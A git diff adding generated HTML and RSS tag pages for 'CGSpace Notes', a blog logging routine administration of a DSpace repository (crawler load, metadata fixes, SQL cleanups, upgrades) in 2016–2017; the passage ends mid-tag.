a/docs/tags/index.html b/docs/tags/index.html new file mode 100644 index 000000000..366ca9433 --- /dev/null +++ b/docs/tags/index.html @@ -0,0 +1,176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/tags/index.xml b/docs/tags/index.xml new file mode 100644 index 000000000..1c087c02d --- /dev/null +++ b/docs/tags/index.xml @@ -0,0 +1,29 @@ + + + + Tags on CGSpace Notes + https://alanorth.github.io/cgspace-notes/tags/ + Recent content in Tags on CGSpace Notes + Hugo -- gohugo.io + en-us + Sun, 21 Feb 2021 13:27:35 +0200 + + Migration + https://alanorth.github.io/cgspace-notes/tags/migration/ + Sun, 21 Feb 2021 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/tags/migration/ + + + + + Notes + https://alanorth.github.io/cgspace-notes/tags/notes/ + Thu, 07 Sep 2017 16:54:52 +0700 + + https://alanorth.github.io/cgspace-notes/tags/notes/ + + + + + diff --git a/docs/tags/migration/index.html b/docs/tags/migration/index.html new file mode 100644 index 000000000..9c2f5a97a --- /dev/null +++ b/docs/tags/migration/index.html @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + +
+
+

CGIAR Library Migration

+

by Alan Orth in + Notes + + +  + +

+
+

Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called CGIAR System Organization.

+ Read more → +
+ + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/tags/migration/index.xml b/docs/tags/migration/index.xml new file mode 100644 index 000000000..274fa247f --- /dev/null +++ b/docs/tags/migration/index.xml @@ -0,0 +1,39 @@ + + + + Migration on CGSpace Notes + https://alanorth.github.io/cgspace-notes/tags/migration/ + Recent content in Migration on CGSpace Notes + Hugo -- gohugo.io + en-us + Sun, 21 Feb 2021 13:27:35 +0200 + + CGSpace CG Core v2 Migration + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + Sun, 21 Feb 2021 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + <p>Changes to CGSpace metadata fields to align more with DC, QDC, and DCTERMS as well as CG Core v2. Implemented on 2021-02-21.</p> +<p>With reference to <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2 draft standard</a> by Marie-Angélique as well as <a href="http://www.dublincore.org/specifications/dublin-core/dcmi-terms/">DCMI DCTERMS</a>.</p> + + + + CGSpace DSpace 6 Upgrade + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + Sun, 15 Nov 2020 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + <p>Notes about the DSpace 6 upgrade on CGSpace in 2020-11.</p> + + + + CGIAR Library Migration + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + Mon, 18 Sep 2017 16:38:35 +0300 + + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + <p>Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called <em>CGIAR System Organization</em>.</p> + + + + diff --git a/docs/tags/migration/page/1/index.html b/docs/tags/migration/page/1/index.html new file mode 100644 index 000000000..91b4d8e69 --- /dev/null +++ b/docs/tags/migration/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/tags/migration/ + + + + + + diff --git a/docs/tags/notes/index.html b/docs/tags/notes/index.html new file mode 100644 index 000000000..0f7ffe64a --- /dev/null +++ b/docs/tags/notes/index.html @@ -0,0 +1,439 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

September, 2017

+

by Alan Orth in + +  + +

+
+

2017-09-06

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours
    • +
+

2017-09-07

+
    +
  • Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2017

+

by Alan Orth in + +  + +

+
+

2017-08-01

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours
    • +
  • I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)
    • +
  • The good thing is that, according to dspace.log.2017-08-01, they are all using the same Tomcat session
    • +
  • This means our Tomcat Crawler Session Valve is working
    • +
  • But many of the bots are browsing dynamic URLs like: +
      +
    • /handle/10568/3353/discover
      • +
    • /handle/10568/16510/browse
      • +
    +
    • +
  • The robots.txt only blocks the top-level /discover and /browse URLs… we will need to find a way to forbid them from accessing these!
    • +
  • Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): https://jira.duraspace.org/browse/DS-2962
    • +
  • It turns out that we’re already adding the X-Robots-Tag "none" HTTP header, but this only forbids the search engine from indexing the page, not crawling it!
    • +
  • Also, the bot has to successfully browse the page first so it can receive the HTTP header…
    • +
  • We might actually have to block these requests with HTTP 403 depending on the user agent
    • +
  • Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415
    • +
  • This was due to newline characters in the dc.description.abstract column, which caused OpenRefine to choke when exporting the CSV
    • +
  • I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d
    • +
  • Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2017

+

by Alan Orth in + +  + +

+
+

2017-07-01

+
    +
  • Run system updates and reboot DSpace Test
    • +
+

2017-07-04

+
    +
  • Merge changes for WLE Phase II theme rename (#329)
    • +
  • Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace
    • +
  • We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML:
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2017

+

by Alan Orth in + +  + +

+
+ 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we’ll create a new sub-community for Phase II and create collections for the research themes there The current “Research Themes” community will be renamed to “WLE Phase I Research Themes” Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + Read more → +
+ + + + + + +
+
+

May, 2017

+

by Alan Orth in + +  + +

+
+ 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it’s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire’s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + Read more → +
+ + + + + + +
+
+

April, 2017

+

by Alan Orth in + +  + +

+
+

2017-04-02

+
    +
  • Merge one change to CCAFS flagships that I had forgotten to remove last month (“MANAGING CLIMATE RISK”): https://github.com/ilri/DSpace/pull/317
    • +
  • Quick proof-of-concept hack to add dc.rights to the input form, including some inline instructions/hints:
    • +
+

dc.rights in the submission form

+
    +
  • Remove redundant/duplicate text in the DSpace submission license
    • +
  • Testing the CMYK patch on a collection with 650 items:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt
+
+ Read more → +
+ + + + + + +
+
+

March, 2017

+

by Alan Orth in + +  + +

+
+

2017-03-01

+
    +
  • Run the 279 CIAT author corrections on CGSpace
    • +
+

2017-03-02

+
    +
  • Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace
    • +
  • CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles
    • +
  • They might come in at the top level in one “CGIAR System” community, or with several communities
    • +
  • I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?
    • +
  • Need to send Peter and Michael some notes about this in a few days
    • +
  • Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI
    • +
  • Filed an issue on DSpace issue tracker for the filter-media bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: DS-3516
    • +
  • Discovered that the ImageMagic filter-media plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK
    • +
  • Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing regeneration using DSpace 5.x’s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see 10568/51999):
    • +
+
$ identify ~/Desktop/alc_contrastes_desafios.jpg
+/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000
+
+ Read more → +
+ + + + + + +
+
+

February, 2017

+

by Alan Orth in + +  + +

+
+

2017-02-07

+
    +
  • An item was mapped twice erroneously again, so I had to remove one of the mappings manually:
    • +
+
dspace=# select * from collection2item where item_id = '80278';
+  id   | collection_id | item_id
+-------+---------------+---------
+ 92551 |           313 |   80278
+ 92550 |           313 |   80278
+ 90774 |          1051 |   80278
+(3 rows)
+dspace=# delete from collection2item where id = 92551 and item_id = 80278;
+DELETE 1
+
    +
  • Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301)
    • +
  • Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2017

+

by Alan Orth in + +  + +

+
+

2017-01-02

+
    +
  • I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error
    • +
  • I tested on DSpace Test as well and it doesn’t work there either
    • +
  • I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2016

+

by Alan Orth in + +  + +

+
+

2016-12-02

+
    +
  • CGSpace was down for five hours in the morning while I was sleeping
    • +
  • While looking in the logs for errors, I see tons of warnings about Atmire MQM:
    • +
+
2016-12-02 03:00:32,352 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail="dc.title", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail="THUMBNAIL", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail="-1", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+
    +
  • I see thousands of them in the logs for the last few months, so it’s not related to the DSpace 5.5 upgrade
    • +
  • I’ve raised a ticket with Atmire to ask
    • +
  • Another worrying error from dspace.log is:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/tags/notes/index.xml b/docs/tags/notes/index.xml new file mode 100644 index 000000000..7fcff9dae --- /dev/null +++ b/docs/tags/notes/index.xml @@ -0,0 +1,428 @@ + + + + Notes on CGSpace Notes + https://alanorth.github.io/cgspace-notes/tags/notes/ + Recent content in Notes on CGSpace Notes + Hugo -- gohugo.io + en-us + Thu, 07 Sep 2017 16:54:52 +0700 + + September, 2017 + https://alanorth.github.io/cgspace-notes/2017-09/ + Thu, 07 Sep 2017 16:54:52 +0700 + + https://alanorth.github.io/cgspace-notes/2017-09/ + <h2 id="2017-09-06">2017-09-06</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours</li> +</ul> +<h2 id="2017-09-07">2017-09-07</h2> +<ul> +<li>Ask Sisay to clean up the WLE approvers a bit, as Marianne&rsquo;s user account is both in the approvers step as well as the group</li> +</ul> + + + + August, 2017 + https://alanorth.github.io/cgspace-notes/2017-08/ + Tue, 01 Aug 2017 11:51:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-08/ + <h2 id="2017-08-01">2017-08-01</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours</li> +<li>I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)</li> +<li>The good thing is that, according to <code>dspace.log.2017-08-01</code>, they are all using the same Tomcat session</li> +<li>This means our Tomcat Crawler Session Valve is working</li> +<li>But many of the bots are browsing dynamic URLs like: +<ul> +<li>/handle/10568/3353/discover</li> +<li>/handle/10568/16510/browse</li> +</ul> +</li> +<li>The <code>robots.txt</code> only blocks the top-level <code>/discover</code> and <code>/browse</code> URLs&hellip; we will need to find a way to forbid them from accessing these!</li> +<li>Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): <a href="https://jira.duraspace.org/browse/DS-2962">https://jira.duraspace.org/browse/DS-2962</a></li> +<li>It turns out that we&rsquo;re already adding the <code>X-Robots-Tag &quot;none&quot;</code> HTTP header, but this only forbids the search engine from <em>indexing</em> the page, not crawling it!</li> +<li>Also, the bot has to successfully browse the page first so it can receive the HTTP header&hellip;</li> +<li>We might actually have to <em>block</em> these requests with HTTP 403 depending on the user agent</li> +<li>Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415</li> +<li>This was due to newline characters in the <code>dc.description.abstract</code> column, which caused OpenRefine to choke when exporting the CSV</li> +<li>I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using <code>g/^$/d</code></li> +<li>Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet</li> +</ul> + + + + July, 2017 + https://alanorth.github.io/cgspace-notes/2017-07/ + Sat, 01 Jul 2017 18:03:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-07/ + <h2 id="2017-07-01">2017-07-01</h2> +<ul> +<li>Run system updates and reboot DSpace Test</li> +</ul> +<h2 id="2017-07-04">2017-07-04</h2> +<ul> +<li>Merge changes for WLE Phase II theme rename (<a href="https://github.com/ilri/DSpace/pull/329">#329</a>)</li> +<li>Looking at extracting the metadata registries from ICARDA&rsquo;s MEL DSpace database so we can compare fields with CGSpace</li> +<li>We can use PostgreSQL&rsquo;s extended output format (<code>-x</code>) plus <code>sed</code> to format the output into quasi XML:</li> +</ul> + + + + June, 2017 + https://alanorth.github.io/cgspace-notes/2017-06/ + Thu, 01 Jun 2017 10:14:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-06/ + 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we&rsquo;ll create a new sub-community for Phase II and create collections for the research themes there The current &ldquo;Research Themes&rdquo; community will be renamed to &ldquo;WLE Phase I Research Themes&rdquo; Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + + + + May, 2017 + https://alanorth.github.io/cgspace-notes/2017-05/ + Mon, 01 May 2017 16:21:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-05/ + 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it&rsquo;s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire&rsquo;s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + + + + April, 2017 + https://alanorth.github.io/cgspace-notes/2017-04/ + Sun, 02 Apr 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-04/ + <h2 id="2017-04-02">2017-04-02</h2> +<ul> +<li>Merge one change to CCAFS flagships that I had forgotten to remove last month (&ldquo;MANAGING CLIMATE RISK&rdquo;): <a href="https://github.com/ilri/DSpace/pull/317">https://github.com/ilri/DSpace/pull/317</a></li> +<li>Quick proof-of-concept hack to add <code>dc.rights</code> to the input form, including some inline instructions/hints:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2017/04/dc-rights.png" alt="dc.rights in the submission form"></p> +<ul> +<li>Remove redundant/duplicate text in the DSpace submission license</li> +<li>Testing the CMYK patch on a collection with 650 items:</li> +</ul> +<pre tabindex="0"><code>$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p &#34;ImageMagick PDF Thumbnail&#34; -v &gt;&amp; /tmp/filter-media-cmyk.txt +</code></pre> + + + + March, 2017 + https://alanorth.github.io/cgspace-notes/2017-03/ + Wed, 01 Mar 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-03/ + <h2 id="2017-03-01">2017-03-01</h2> +<ul> +<li>Run the 279 CIAT author corrections on CGSpace</li> +</ul> +<h2 id="2017-03-02">2017-03-02</h2> +<ul> +<li>Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace</li> +<li>CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles</li> +<li>They might come in at the top level in one &ldquo;CGIAR System&rdquo; community, or with several communities</li> +<li>I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?</li> +<li>Need to send Peter and Michael some notes about this in a few days</li> +<li>Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI</li> +<li>Filed an issue on DSpace issue tracker for the <code>filter-media</code> bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: <a href="https://jira.duraspace.org/browse/DS-3516">DS-3516</a></li> +<li>Discovered that the ImageMagic <code>filter-media</code> plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK</li> +<li>Interestingly, it seems DSpace 4.x&rsquo;s thumbnails were sRGB, but forcing regeneration using DSpace 5.x&rsquo;s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see <a href="https://cgspace.cgiar.org/handle/10568/51999">10568/51999</a>):</li> +</ul> +<pre tabindex="0"><code>$ identify ~/Desktop/alc_contrastes_desafios.jpg +/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000 +</code></pre> + + + + February, 2017 + https://alanorth.github.io/cgspace-notes/2017-02/ + Tue, 07 Feb 2017 07:04:52 -0800 + + https://alanorth.github.io/cgspace-notes/2017-02/ + <h2 id="2017-02-07">2017-02-07</h2> +<ul> +<li>An item was mapped twice erroneously again, so I had to remove one of the mappings manually:</li> +</ul> +<pre tabindex="0"><code>dspace=# select * from collection2item where item_id = &#39;80278&#39;; + id | collection_id | item_id +-------+---------------+--------- + 92551 | 313 | 80278 + 92550 | 313 | 80278 + 90774 | 1051 | 80278 +(3 rows) +dspace=# delete from collection2item where id = 92551 and item_id = 80278; +DELETE 1 +</code></pre><ul> +<li>Create issue on GitHub to track the addition of CCAFS Phase II project tags (<a href="https://github.com/ilri/DSpace/issues/301">#301</a>)</li> +<li>Looks like we&rsquo;ll be using <code>cg.identifier.ccafsprojectpii</code> as the field name</li> +</ul> + + + + January, 2017 + https://alanorth.github.io/cgspace-notes/2017-01/ + Mon, 02 Jan 2017 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2017-01/ + <h2 id="2017-01-02">2017-01-02</h2> +<ul> +<li>I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error</li> +<li>I tested on DSpace Test as well and it doesn&rsquo;t work there either</li> +<li>I asked on the dspace-tech mailing list because it seems to be broken, and actually now I&rsquo;m not sure if we&rsquo;ve ever had the sharding task run successfully over all these years</li> +</ul> + + + + December, 2016 + https://alanorth.github.io/cgspace-notes/2016-12/ + Fri, 02 Dec 2016 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-12/ + <h2 id="2016-12-02">2016-12-02</h2> +<ul> +<li>CGSpace was down for five hours in the morning while I was sleeping</li> +<li>While looking in the logs for errors, I see tons of warnings about Atmire MQM:</li> +</ul> +<pre tabindex="0"><code>2016-12-02 03:00:32,352 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail=&#34;dc.title&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail=&#34;THUMBNAIL&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail=&#34;-1&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +</code></pre><ul> +<li>I see thousands of them in the logs for the last few months, so it&rsquo;s not related to the DSpace 5.5 upgrade</li> +<li>I&rsquo;ve raised a ticket with Atmire to ask</li> +<li>Another worrying error from dspace.log is:</li> +</ul> + + + + November, 2016 + https://alanorth.github.io/cgspace-notes/2016-11/ + Tue, 01 Nov 2016 09:21:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-11/ + <h2 id="2016-11-01">2016-11-01</h2> +<ul> +<li>Add <code>dc.type</code> to the output options for Atmire&rsquo;s Listings and Reports module (<a href="https://github.com/ilri/DSpace/pull/286">#286</a>)</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/11/listings-and-reports.png" alt="Listings and Reports with output type"></p> + + + + October, 2016 + https://alanorth.github.io/cgspace-notes/2016-10/ + Mon, 03 Oct 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-10/ + <h2 id="2016-10-03">2016-10-03</h2> +<ul> +<li>Testing adding <a href="https://wiki.lyrasis.org/display/DSDOC5x/ORCID+Integration#ORCIDIntegration-EditingexistingitemsusingBatchCSVEditing">ORCIDs to a CSV</a> file for a single item to see if the author orders get messed up</li> +<li>Need to test the following scenarios to see how author order is affected: +<ul> +<li>ORCIDs only</li> +<li>ORCIDs plus normal authors</li> +</ul> +</li> +<li>I exported a random item&rsquo;s metadata as CSV, deleted <em>all columns</em> except id and collection, and made a new coloum called <code>ORCID:dc.contributor.author</code> with the following random ORCIDs from the ORCID registry:</li> +</ul> +<pre tabindex="0"><code>0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X +</code></pre> + + + + September, 2016 + https://alanorth.github.io/cgspace-notes/2016-09/ + Thu, 01 Sep 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-09/ + <h2 id="2016-09-01">2016-09-01</h2> +<ul> +<li>Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors</li> +<li>Discuss how the migration of CGIAR&rsquo;s Active Directory to a flat structure will break our LDAP groups in DSpace</li> +<li>We had been using <code>DC=ILRI</code> to determine whether a user was ILRI or not</li> +<li>It looks like we might be able to use OUs now, instead of DCs:</li> +</ul> +<pre tabindex="0"><code>$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b &#34;dc=cgiarad,dc=org&#34; -D &#34;admigration1@cgiarad.org&#34; -W &#34;(sAMAccountName=admigration1)&#34; +</code></pre> + + + + August, 2016 + https://alanorth.github.io/cgspace-notes/2016-08/ + Mon, 01 Aug 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-08/ + <h2 id="2016-08-01">2016-08-01</h2> +<ul> +<li>Add updated distribution license from Sisay (<a href="https://github.com/ilri/DSpace/issues/259">#259</a>)</li> +<li>Play with upgrading Mirage 2 dependencies in <code>bower.json</code> because most are several versions of out date</li> +<li>Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more</li> +<li>bower stuff is a dead end, waste of time, too many issues</li> +<li>Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of <code>fonts</code>)</li> +<li>Start working on DSpace 5.1 → 5.5 port:</li> +</ul> +<pre tabindex="0"><code>$ git checkout -b 55new 5_x-prod +$ git reset --hard ilri/5_x-prod +$ git rebase -i dspace-5.5 +</code></pre> + + + + July, 2016 + https://alanorth.github.io/cgspace-notes/2016-07/ + Fri, 01 Jul 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-07/ + <h2 id="2016-07-01">2016-07-01</h2> +<ul> +<li>Add <code>dc.description.sponsorship</code> to Discovery sidebar facets and make investors clickable in item view (<a href="https://github.com/ilri/DSpace/issues/232">#232</a>)</li> +<li>I think this query should find and replace all authors that have &ldquo;,&rdquo; at the end of their names:</li> +</ul> +<pre tabindex="0"><code>dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, &#39;(^.+?),$&#39;, &#39;\1&#39;) where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; +UPDATE 95 +dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; + text_value +------------ +(0 rows) +</code></pre><ul> +<li>In this case the select query was showing 95 results before the update</li> +</ul> + + + + June, 2016 + https://alanorth.github.io/cgspace-notes/2016-06/ + Wed, 01 Jun 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-06/ + <h2 id="2016-06-01">2016-06-01</h2> +<ul> +<li>Experimenting with IFPRI OAI (we want to harvest their publications)</li> +<li>After reading the <a href="https://www.oclc.org/support/services/contentdm/help/server-admin-help/oai-support.en.html">ContentDM documentation</a> I found IFPRI&rsquo;s OAI endpoint: <a href="http://ebrary.ifpri.org/oai/oai.php">http://ebrary.ifpri.org/oai/oai.php</a></li> +<li>After reading the <a href="https://www.openarchives.org/OAI/openarchivesprotocol.html">OAI documentation</a> and testing with an <a href="http://validator.oaipmh.com/">OAI validator</a> I found out how to get their publications</li> +<li>This is their publications set: <a 